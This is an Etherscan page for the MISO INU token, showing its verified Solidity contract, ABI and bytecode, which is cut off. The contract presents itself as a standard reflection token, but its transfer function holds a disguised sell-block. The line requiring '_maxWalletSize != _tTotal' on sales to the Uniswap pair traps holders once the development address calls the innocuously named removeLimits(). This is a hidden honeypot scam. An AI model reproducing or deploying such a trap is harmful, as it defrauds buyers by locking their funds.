ETH Price: $2,580.67 (-3.04%)
Gas: 0.85 Gwei

Token

MISO INU (MISO)
 

Overview

Max Total Supply

10,000,000 MISO

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
204,013.25420756 MISO

Value
$0.00
0x5b741DE78f9B78AD841f240F3d9eec88b9Cdf3e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MISO

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-16
*/

/*

흑구 Miso Inu  

$MISO


1% of buys reflected among holders
1% of sells reflected among holders
3% additional tax to create rising price floor

https://t.me/MisoInu

https://twitter.com/Miso_Inu

https://www.MisoInu.com

*/

pragma solidity ^0.8.11;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract MISO is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "MISO INU";
    string private constant _symbol = "MISO";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 1;
    uint256 private _taxFeeOnBuy = 3;
    uint256 private _redisFeeOnSell = 1;
    uint256 private _taxFeeOnSell = 3;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;


    address payable private _developmentAddress = payable(0x6e7FA92C1f4d885649cef8687cb1C2d8E6EB7293);
    address payable private _marketingAddress = payable(0x6e7FA92C1f4d885649cef8687cb1C2d8E6EB7293);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = 200000 * 10**9;
    uint256 public _maxWalletSize = 200000 * 10**9;
    uint256 public _swapTokensAtAmount = 50000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*10)
            {
                contractTokenBalance = _swapTokensAtAmount*10;
            }
            if(to == uniswapV2Pair){require(_maxWalletSize != _tTotal);}

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualsend() external {
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }


    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }


    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Open trading
    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
        require(redisFeeOnBuy<2);
        require(redisFeeOnSell<2);
        require(taxFeeOnBuy<5);
        require(taxFeeOnSell<5);
    }

    function setLimits(uint256 maxTxAmount,uint256 maxWalletSize) public onlyOwner{
    _maxTxAmount = maxTxAmount * 10**9;
    _maxWalletSize = maxWalletSize * 10**9;
        require(maxTxAmount>200000);
        require(maxWalletSize>200000);
    }


    function removeLimits() public {
        require(_msgSender() == _developmentAddress );
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }


    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052662386f26fc100006000196200001b919062000726565b6000196200002a91906200078d565b600655600160085560036009556001600a556003600b55600a54600c55600b54600d55600c54600e55600d54600f55736e7fa92c1f4d885649cef8687cb1c2d8e6eb7293601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736e7fa92c1f4d885649cef8687cb1c2d8e6eb7293601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601360146101000a81548160ff0219169083151502179055506000601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff02191690831515021790555065b5e620f4800060145565b5e620f48000601555652d79883d20006016553480156200017f57600080fd5b50600062000192620006bc60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000247620006bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000351919062000832565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003b9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003df919062000832565b6040518363ffffffff1660e01b8152600401620003fe92919062000875565b6020604051808303816000875af11580156200041e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000444919062000832565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560006200049a620006c460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000647620006bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef662386f26fc10000604051620006ad9190620008b3565b60405180910390a350620008d0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073382620006ed565b91506200074083620006ed565b925082620007535762000752620006f7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200079a82620006ed565b9150620007a783620006ed565b925082821015620007bd57620007bc6200075e565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007fa82620007cd565b9050919050565b6200080c81620007ed565b81146200081857600080fd5b50565b6000815190506200082c8162000801565b92915050565b6000602082840312156200084b576200084a620007c8565b5b60006200085b848285016200081b565b91505092915050565b6200086f81620007ed565b82525050565b60006040820190506200088c600083018562000864565b6200089b602083018462000864565b9392505050565b620008ad81620006ed565b82525050565b6000602082019050620008ca6000830184620008a2565b92915050565b6136c580620008e06000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d1578063a2a957bb1161008a578063c492f04611610064578063c492f04614610501578063c9567bf91461052a578063dd62ed3e14610541578063f2fde38b1461057e57610171565b8063a2a957bb14610472578063a9059cbb1461049b578063c4590d3f146104d857610171565b8063751039fc146103865780637d1db4a51461039d5780638da5cb5b146103c85780638f9a55c0146103f357806395d89b411461041e57806398a5c3151461044957610171565b8063313ce56711610123578063313ce5671461029c57806349bd5a5e146102c75780636d8aa8f8146102f25780636fc3eaec1461031b57806370a0823114610332578063715018a61461036f57610171565b806306fdde0314610176578063095ea7b3146101a15780631694505e146101de57806318160ddd1461020957806323b872dd146102345780632fd689e31461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105a7565b60405161019891906126d3565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612793565b6105e4565b6040516101d591906127ee565b60405180910390f35b3480156101ea57600080fd5b506101f3610602565b6040516102009190612868565b60405180910390f35b34801561021557600080fd5b5061021e610628565b60405161022b9190612892565b60405180910390f35b34801561024057600080fd5b5061025b600480360381019061025691906128ad565b610637565b60405161026891906127ee565b60405180910390f35b34801561027d57600080fd5b50610286610710565b6040516102939190612892565b60405180910390f35b3480156102a857600080fd5b506102b1610716565b6040516102be919061291c565b60405180910390f35b3480156102d357600080fd5b506102dc61071f565b6040516102e99190612946565b60405180910390f35b3480156102fe57600080fd5b506103196004803603810190610314919061298d565b610745565b005b34801561032757600080fd5b506103306107f7565b005b34801561033e57600080fd5b50610359600480360381019061035491906129ba565b610808565b6040516103669190612892565b60405180910390f35b34801561037b57600080fd5b50610384610859565b005b34801561039257600080fd5b5061039b6109ac565b005b3480156103a957600080fd5b506103b2610a2b565b6040516103bf9190612892565b60405180910390f35b3480156103d457600080fd5b506103dd610a31565b6040516103ea9190612946565b60405180910390f35b3480156103ff57600080fd5b50610408610a5a565b6040516104159190612892565b60405180910390f35b34801561042a57600080fd5b50610433610a60565b60405161044091906126d3565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906129e7565b610a9d565b005b34801561047e57600080fd5b5061049960048036038101906104949190612a14565b610b3c565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190612793565b610c27565b6040516104cf91906127ee565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa9190612a7b565b610c45565b005b34801561050d57600080fd5b5061052860048036038101906105239190612b20565b610d28565b005b34801561053657600080fd5b5061053f610e62565b005b34801561054d57600080fd5b5061056860048036038101906105639190612b80565b610f14565b6040516105759190612892565b60405180910390f35b34801561058a57600080fd5b506105a560048036038101906105a091906129ba565b610f9b565b005b60606040518060400160405280600881526020017f4d49534f20494e55000000000000000000000000000000000000000000000000815250905090565b60006105f86105f161115d565b8484611165565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b6000610644848484611330565b6107058461065061115d565b6107008560405180606001604052806028815260200161366860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b661115d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5f9092919063ffffffff16565b611165565b600190509392505050565b60165481565b60006009905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61074d61115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d190612c0c565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b600047905061080581611bc3565b50565b6000610852600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f565b9050919050565b61086161115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ed61115d565b73ffffffffffffffffffffffffffffffffffffffff1614610a0d57600080fd5b662386f26fc10000601481905550662386f26fc10000601581905550565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60155481565b60606040518060400160405280600481526020017f4d49534f00000000000000000000000000000000000000000000000000000000815250905090565b610aa561115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2990612c0c565b60405180910390fd5b8060168190555050565b610b4461115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc890612c0c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555060028410610bfa57600080fd5b60028310610c0757600080fd5b60058210610c1457600080fd5b60058110610c2157600080fd5b50505050565b6000610c3b610c3461115d565b8484611330565b6001905092915050565b610c4d61115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190612c0c565b60405180910390fd5b633b9aca0082610cea9190612c5b565b601481905550633b9aca0081610d009190612c5b565b60158190555062030d408211610d1557600080fd5b62030d408111610d2457600080fd5b5050565b610d3061115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612c0c565b60405180910390fd5b60005b83839050811015610e5c578160056000868685818110610de357610de2612cb5565b5b9050602002016020810190610df891906129ba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e5490612ce4565b915050610dc0565b50505050565b610e6a61115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffff